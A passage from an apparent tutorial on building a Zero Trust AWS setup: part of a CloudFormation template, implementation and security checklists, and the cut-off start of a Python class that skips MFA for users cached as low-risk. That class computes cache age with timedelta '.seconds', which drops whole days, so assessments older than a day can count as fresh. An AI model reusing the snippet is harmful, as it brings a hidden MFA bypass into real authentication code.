      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-NAT-1A</span>

  <span class="na">NATGateway2</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::NatGateway</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">AllocationId</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">NATGateway2EIP.AllocationId</span>
      <span class="na">SubnetId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">PublicSubnet2</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-NAT-1B</span>

  <span class="c1"># Route Tables</span>
  <span class="na">PublicRouteTable</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::RouteTable</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">VpcId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ZeroTrustVPC</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-Public-RT</span>

  <span class="na">PublicRoute</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::Route</span>
    <span class="na">DependsOn</span><span class="pi">:</span> <span class="s">AttachGateway</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">RouteTableId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">PublicRouteTable</span>
      <span class="na">DestinationCidrBlock</span><span class="pi">:</span> <span class="s">0.0.0.0/0</span>
      <span class="na">GatewayId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">InternetGateway</span>

  <span class="na">PublicSubnet1RouteTableAssociation</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::SubnetRouteTableAssociation</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">SubnetId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">PublicSubnet1</span>
      <span class="na">RouteTableId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">PublicRouteTable</span>

  <span class="na">PublicSubnet2RouteTableAssociation</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::SubnetRouteTableAssociation</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">SubnetId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">PublicSubnet2</span>
      <span class="na">RouteTableId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">PublicRouteTable</span>

  <span class="na">PrivateRouteTable1</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::RouteTable</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">VpcId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ZeroTrustVPC</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-Private-RT-1A</span>

  <span class="na">PrivateRoute1</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::Route</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">RouteTableId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">PrivateRouteTable1</span>
      <span class="na">DestinationCidrBlock</span><span class="pi">:</span> <span class="s">0.0.0.0/0</span>
      <span class="na">NatGatewayId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">NATGateway1</span>

  <span class="na">PrivateSubnet1RouteTableAssociation</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::SubnetRouteTableAssociation</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">SubnetId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">PrivateSubnet1</span>
      <span class="na">RouteTableId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">PrivateRouteTable1</span>

  <span class="na">PrivateRouteTable2</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::RouteTable</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">VpcId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ZeroTrustVPC</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-Private-RT-1B</span>

  <span class="na">PrivateRoute2</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::Route</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">RouteTableId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">PrivateRouteTable2</span>
      <span class="na">DestinationCidrBlock</span><span class="pi">:</span> <span class="s">0.0.0.0/0</span>
      <span class="na">NatGatewayId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">NATGateway2</span>

  <span class="na">PrivateSubnet2RouteTableAssociation</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::SubnetRouteTableAssociation</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">SubnetId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">PrivateSubnet2</span>
      <span class="na">RouteTableId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">PrivateRouteTable2</span>

  <span class="c1"># Security Groups</span>
  <span class="na">WebTierSecurityGroup</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::SecurityGroup</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">GroupName</span><span class="pi">:</span> <span class="s">ZeroTrust-Web-SG</span>
      <span class="na">GroupDescription</span><span class="pi">:</span> <span class="s">Web tier security group with Zero Trust principles</span>
      <span class="na">VpcId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ZeroTrustVPC</span>
      <span class="na">SecurityGroupIngress</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">IpProtocol</span><span class="pi">:</span> <span class="s">tcp</span>
          <span class="na">FromPort</span><span class="pi">:</span> <span class="m">443</span>
          <span class="na">ToPort</span><span class="pi">:</span> <span class="m">443</span>
          <span class="na">CidrIp</span><span class="pi">:</span> <span class="s">0.0.0.0/0</span>
          <span class="na">Description</span><span class="pi">:</span> <span class="s">HTTPS from anywhere</span>
        <span class="pi">-</span> <span class="na">IpProtocol</span><span class="pi">:</span> <span class="s">tcp</span>
          <span class="na">FromPort</span><span class="pi">:</span> <span class="m">80</span>
          <span class="na">ToPort</span><span class="pi">:</span> <span class="m">80</span>
          <span class="na">CidrIp</span><span class="pi">:</span> <span class="s">0.0.0.0/0</span>
          <span class="na">Description</span><span class="pi">:</span> <span class="s">HTTP redirect to HTTPS</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-Web-SG</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Tier</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">web</span>

  <span class="na">AppTierSecurityGroup</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::SecurityGroup</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">GroupName</span><span class="pi">:</span> <span class="s">ZeroTrust-App-SG</span>
      <span class="na">GroupDescription</span><span class="pi">:</span> <span class="s">Application tier security group</span>
      <span class="na">VpcId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ZeroTrustVPC</span>
      <span class="na">SecurityGroupIngress</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">IpProtocol</span><span class="pi">:</span> <span class="s">tcp</span>
          <span class="na">FromPort</span><span class="pi">:</span> <span class="m">8080</span>
          <span class="na">ToPort</span><span class="pi">:</span> <span class="m">8080</span>
          <span class="na">SourceSecurityGroupId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">WebTierSecurityGroup</span>
          <span class="na">Description</span><span class="pi">:</span> <span class="s">App port from web tier</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-App-SG</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Tier</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">application</span>

  <span class="na">DatabaseSecurityGroup</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::SecurityGroup</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">GroupName</span><span class="pi">:</span> <span class="s">ZeroTrust-DB-SG</span>
      <span class="na">GroupDescription</span><span class="pi">:</span> <span class="s">Database tier security group</span>
      <span class="na">VpcId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ZeroTrustVPC</span>
      <span class="na">SecurityGroupIngress</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">IpProtocol</span><span class="pi">:</span> <span class="s">tcp</span>
          <span class="na">FromPort</span><span class="pi">:</span> <span class="m">5432</span>
          <span class="na">ToPort</span><span class="pi">:</span> <span class="m">5432</span>
          <span class="na">SourceSecurityGroupId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">AppTierSecurityGroup</span>
          <span class="na">Description</span><span class="pi">:</span> <span class="s">PostgreSQL from app tier</span>
        <span class="pi">-</span> <span class="na">IpProtocol</span><span class="pi">:</span> <span class="s">tcp</span>
          <span class="na">FromPort</span><span class="pi">:</span> <span class="m">3306</span>
          <span class="na">ToPort</span><span class="pi">:</span> <span class="m">3306</span>
          <span class="na">SourceSecurityGroupId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">AppTierSecurityGroup</span>
          <span class="na">Description</span><span class="pi">:</span> <span class="s">MySQL from app tier</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ZeroTrust-DB-SG</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Tier</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">database</span>

  <span class="c1"># VPC Endpoints</span>
  <span class="na">S3VPCEndpoint</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::VPCEndpoint</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">VpcId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ZeroTrustVPC</span>
      <span class="na">ServiceName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">com.amazonaws.${AWS::Region}.s3'</span>
      <span class="na">VpcEndpointType</span><span class="pi">:</span> <span class="s">Gateway</span>
      <span class="na">RouteTableIds</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="kt">!Ref</span> <span class="s">PrivateRouteTable1</span>
        <span class="pi">-</span> <span class="kt">!Ref</span> <span class="s">PrivateRouteTable2</span>
      <span class="na">PolicyDocument</span><span class="pi">:</span>
        <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
        <span class="na">Statement</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
            <span class="na">Principal</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>
            <span class="na">Action</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="s1">'</span><span class="s">s3:GetObject'</span>
              <span class="pi">-</span> <span class="s1">'</span><span class="s">s3:PutObject'</span>
              <span class="pi">-</span> <span class="s1">'</span><span class="s">s3:ListBucket'</span>
            <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>
            <span class="na">Condition</span><span class="pi">:</span>
              <span class="na">StringEquals</span><span class="pi">:</span>
                <span class="s1">'</span><span class="s">aws:PrincipalTag/ZeroTrustVerified'</span><span class="err">:</span> <span class="s1">'</span><span class="s">true'</span>

  <span class="c1"># CloudWatch Log Group for CloudTrail</span>
  <span class="na">ZeroTrustLogGroup</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::Logs::LogGroup</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">LogGroupName</span><span class="pi">:</span> <span class="s">/aws/zerotrust/security-monitoring</span>
      <span class="na">RetentionInDays</span><span class="pi">:</span> <span class="m">90</span>

  <span class="c1"># CloudTrail for Zero Trust monitoring</span>
  <span class="na">ZeroTrustCloudTrail</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::CloudTrail::Trail</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">TrailName</span><span class="pi">:</span> <span class="s">zerotrust-security-trail</span>
      <span class="na">S3BucketName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">CloudTrailBucket</span>
      <span class="na">IncludeGlobalServiceEvents</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="na">IsMultiRegionTrail</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="na">EnableLogFileValidation</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="na">CloudWatchLogsLogGroupArn</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ZeroTrustLogGroup.Arn}:*'</span>
      <span class="na">CloudWatchLogsRoleArn</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">CloudTrailLogsRole.Arn</span>
      <span class="na">EventSelectors</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">ReadWriteType</span><span class="pi">:</span> <span class="s">All</span>
          <span class="na">IncludeManagementEvents</span><span class="pi">:</span> <span class="kc">true</span>
          <span class="na">DataResources</span><span class="pi">:</span>
            <span class="pi">-</span> <span class="na">Type</span><span class="pi">:</span> <span class="s1">'</span><span class="s">AWS::S3::Object'</span>
              <span class="na">Values</span><span class="pi">:</span> 
                <span class="pi">-</span> <span class="s1">'</span><span class="s">arn:aws:s3:::*/*'</span>

  <span class="c1"># S3 Bucket for CloudTrail</span>
  <span class="na">CloudTrailBucket</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::S3::Bucket</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">BucketName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">zerotrust-cloudtrail-${AWS::AccountId}-${AWS::Region}'</span>
      <span class="na">PublicAccessBlockConfiguration</span><span class="pi">:</span>
        <span class="na">BlockPublicAcls</span><span class="pi">:</span> <span class="kc">true</span>
        <span class="na">BlockPublicPolicy</span><span class="pi">:</span> <span class="kc">true</span>
        <span class="na">IgnorePublicAcls</span><span class="pi">:</span> <span class="kc">true</span>
        <span class="na">RestrictPublicBuckets</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="na">BucketEncryption</span><span class="pi">:</span>
        <span class="na">ServerSideEncryptionConfiguration</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">ServerSideEncryptionByDefault</span><span class="pi">:</span>
              <span class="na">SSEAlgorithm</span><span class="pi">:</span> <span class="s">AES256</span>

  <span class="c1"># CloudTrail Logs Role</span>
  <span class="na">CloudTrailLogsRole</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::IAM::Role</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">AssumeRolePolicyDocument</span><span class="pi">:</span>
        <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
        <span class="na">Statement</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
            <span class="na">Principal</span><span class="pi">:</span>
              <span class="na">Service</span><span class="pi">:</span> <span class="s">cloudtrail.amazonaws.com</span>
            <span class="na">Action</span><span class="pi">:</span> <span class="s">sts:AssumeRole</span>
      <span class="na">Policies</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">PolicyName</span><span class="pi">:</span> <span class="s">CloudTrailLogsPolicy</span>
          <span class="na">PolicyDocument</span><span class="pi">:</span>
            <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
            <span class="na">Statement</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">logs:PutLogEvents</span>
                  <span class="pi">-</span> <span class="s">logs:CreateLogGroup</span>
                  <span class="pi">-</span> <span class="s">logs:CreateLogStream</span>
                  <span class="pi">-</span> <span class="s">logs:DescribeLogStreams</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ZeroTrustLogGroup.Arn}:*'</span>

  <span class="c1"># SNS Topic for Alerts</span>
  <span class="na">ZeroTrustAlertsTopic</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::SNS::Topic</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">TopicName</span><span class="pi">:</span> <span class="s">zerotrust-security-alerts</span>
      <span class="na">DisplayName</span><span class="pi">:</span> <span class="s">Zero Trust Security Alerts</span>
      <span class="na">Subscription</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Endpoint</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">NotificationEmail</span>
          <span class="na">Protocol</span><span class="pi">:</span> <span class="s">email</span>

  <span class="c1"># Lambda function for Zero Trust validation</span>
  <span class="na">ZeroTrustValidatorFunction</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::Lambda::Function</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">FunctionName</span><span class="pi">:</span> <span class="s">zerotrust-access-validator</span>
      <span class="na">Runtime</span><span class="pi">:</span> <span class="s">python3.11</span>
      <span class="na">Handler</span><span class="pi">:</span> <span class="s">index.lambda_handler</span>
      <span class="na">Role</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">ZeroTrustValidatorRole.Arn</span>
      <span class="na">Timeout</span><span class="pi">:</span> <span class="m">300</span>
      <span class="na">Environment</span><span class="pi">:</span>
        <span class="na">Variables</span><span class="pi">:</span>
          <span class="na">SNS_TOPIC_ARN</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ZeroTrustAlertsTopic</span>
          <span class="na">LOG_GROUP_NAME</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ZeroTrustLogGroup</span>
      <span class="na">Code</span><span class="pi">:</span>
        <span class="na">ZipFile</span><span class="pi">:</span> <span class="pi">|</span>
          <span class="s">import json</span>
          <span class="s">import boto3</span>
          
          <span class="s">def lambda_handler(event, context):</span>
              <span class="s"># Zero Trust validation logic would be implemented here</span>
              <span class="s"># This is a placeholder for the actual implementation</span>
          <span class="no">    </span>
              <span class="s">return {</span>
                  <span class="s">'statusCode': 200,</span>
                  <span class="s">'body': json.dumps('Zero Trust validation completed')</span>
              <span class="s">}</span>

  <span class="c1"># IAM Role for Lambda</span>
  <span class="na">ZeroTrustValidatorRole</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::IAM::Role</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">AssumeRolePolicyDocument</span><span class="pi">:</span>
        <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
        <span class="na">Statement</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
            <span class="na">Principal</span><span class="pi">:</span>
              <span class="na">Service</span><span class="pi">:</span> <span class="s">lambda.amazonaws.com</span>
            <span class="na">Action</span><span class="pi">:</span> <span class="s">sts:AssumeRole</span>
      <span class="na">ManagedPolicyArns</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="s">arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole</span>
      <span class="na">Policies</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">PolicyName</span><span class="pi">:</span> <span class="s">ZeroTrustValidatorPolicy</span>
          <span class="na">PolicyDocument</span><span class="pi">:</span>
            <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
            <span class="na">Statement</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">sns:Publish</span>
                  <span class="pi">-</span> <span class="s">logs:CreateLogGroup</span>
                  <span class="pi">-</span> <span class="s">logs:CreateLogStream</span>
                  <span class="pi">-</span> <span class="s">logs:PutLogEvents</span>
                  <span class="pi">-</span> <span class="s">cloudwatch:PutMetricData</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>

<span class="na">Outputs</span><span class="pi">:</span>
  <span class="na">VPCId</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">VPC ID for Zero Trust architecture</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ZeroTrustVPC</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${AWS::StackName}-VPC-ID'</span>
  
  <span class="na">PrivateSubnetIds</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">Private subnet IDs</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Join</span> <span class="pi">[</span><span class="s1">'</span><span class="s">,'</span><span class="pi">,</span> <span class="pi">[</span><span class="kt">!Ref</span> <span class="nv">PrivateSubnet1</span><span class="pi">,</span> <span class="kt">!Ref</span> <span class="nv">PrivateSubnet2</span><span class="pi">]]</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${AWS::StackName}-Private-Subnets'</span>
  
  <span class="na">SecurityGroupIds</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">Security group IDs</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Join</span> <span class="pi">[</span><span class="s1">'</span><span class="s">,'</span><span class="pi">,</span> <span class="pi">[</span><span class="kt">!Ref</span> <span class="nv">WebTierSecurityGroup</span><span class="pi">,</span> <span class="kt">!Ref</span> <span class="nv">AppTierSecurityGroup</span><span class="pi">,</span> <span class="kt">!Ref</span> <span class="nv">DatabaseSecurityGroup</span><span class="pi">]]</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${AWS::StackName}-Security-Groups'</span>
  
  <span class="na">CloudTrailArn</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">CloudTrail ARN for monitoring</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">ZeroTrustCloudTrail.Arn</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${AWS::StackName}-CloudTrail-ARN'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="best-practices-and-recommendations">Best Practices and Recommendations</h2>

<h3 id="implementation-guidelines">Implementation Guidelines</h3>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Phased Deployment</strong>: Implement Zero Trust incrementally, starting with identity management and expanding to network and application layers</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Pilot Testing</strong>: Begin with non-production environments to validate policies and procedures before production deployment</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>User Training</strong>: Provide comprehensive training on new authentication and access procedures to minimize disruption</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Backup Access</strong>: Maintain secure break-glass procedures for emergency access during system failures</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Policy Validation</strong>: Regularly test and validate Zero Trust policies to ensure they meet security objectives without impeding operations</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Integration Testing</strong>: Verify compatibility with existing applications and services before full deployment</li>
</ul>

<h3 id="security-considerations">Security Considerations</h3>

<p><strong>Identity Security</strong>:</p>
<ul>
  <li>Implement strong password policies with regular rotation requirements</li>
  <li>Enable hardware-based MFA for all users, especially privileged accounts</li>
  <li>Regularly audit and review user access permissions and role assignments</li>
  <li>Implement just-in-time (JIT) access for administrative functions</li>
  <li>Monitor and alert on unusual login patterns and access behaviors</li>
</ul>

<p><strong>Network Security</strong>:</p>
<ul>
  <li>Implement network segmentation with micro-perimeters around critical resources</li>
  <li>Use encryption for all data in transit between network segments</li>
  <li>Regularly update and patch network infrastructure components</li>
  <li>Implement distributed denial-of-service (DDoS) protection mechanisms</li>
  <li>Monitor network traffic for anomalous patterns and potential threats</li>
</ul>

<p><strong>Application Security</strong>:</p>
<ul>
  <li>Integrate Zero Trust principles into application design and development</li>
  <li>Implement API gateway with authentication and authorization controls</li>
  <li>Use encryption for all data at rest and in transit</li>
  <li>Regularly scan applications for vulnerabilities and security misconfigurations</li>
  <li>Implement runtime application self-protection (RASP) where appropriate</li>
</ul>

<h3 id="performance-optimization">Performance Optimization</h3>

<p><strong>Access Performance</strong>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
</pre></td><td class="rouge-code"><pre><span class="c1"># Optimize authentication flows for better user experience
</span><span class="k">class</span> <span class="nc">PerformanceOptimizedAuth</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">cache_duration</span> <span class="o">=</span> <span class="mi">3600</span>  <span class="c1"># 1 hour cache for low-risk users
</span>        <span class="n">self</span><span class="p">.</span><span class="n">risk_cache</span> <span class="o">=</span> <span class="p">{}</span>
        
    <span class="k">def</span> <span class="nf">optimize_auth_flow</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">user_context</span><span class="p">:</span> <span class="nb">dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Optimize authentication flow based on risk assessment</span><span class="sh">"""</span>
        
        <span class="n">user_id</span> <span class="o">=</span> <span class="n">user_context</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">user_id</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">current_time</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">()</span>
        
        <span class="c1"># Check if user has recent low-risk assessment
</span>        <span class="k">if</span> <span class="n">user_id</span> <span class="ow">in</span> <span class="n">self</span><span class="p">.</span><span class="n">risk_cache</span><span class="p">:</span>
            <span class="n">cached_assessment</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">risk_cache</span><span class="p">[</span><span class="n">user_id</span><span class="p">]</span>
            <span class="n">cache_age</span> <span class="o">=</span> <span class="p">(</span><span class="n">current_time</span> <span class="o">-</span> <span class="n">cached_assessment</span><span class="p">[</span><span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">]).</span><span class="n">seconds</span>
            
            <span class="nf">if </span><span class="p">(</span><span class="n">cached_assessment</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_level</span><span class="sh">'</span><span class="p">]</span> <span class="o">==</span> <span class="sh">'</span><span class="s">low</span><span class="sh">'</span> <span class="ow">and</span> 
                <span class="n">cache_age</span> <span class="o">&lt;</span> <span class="n">self</span><span class="p">.</span><span class="n">cache_duration</span><span class="p">):</span>
                <span class="k">return</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">fast_path</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">mfa_required</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
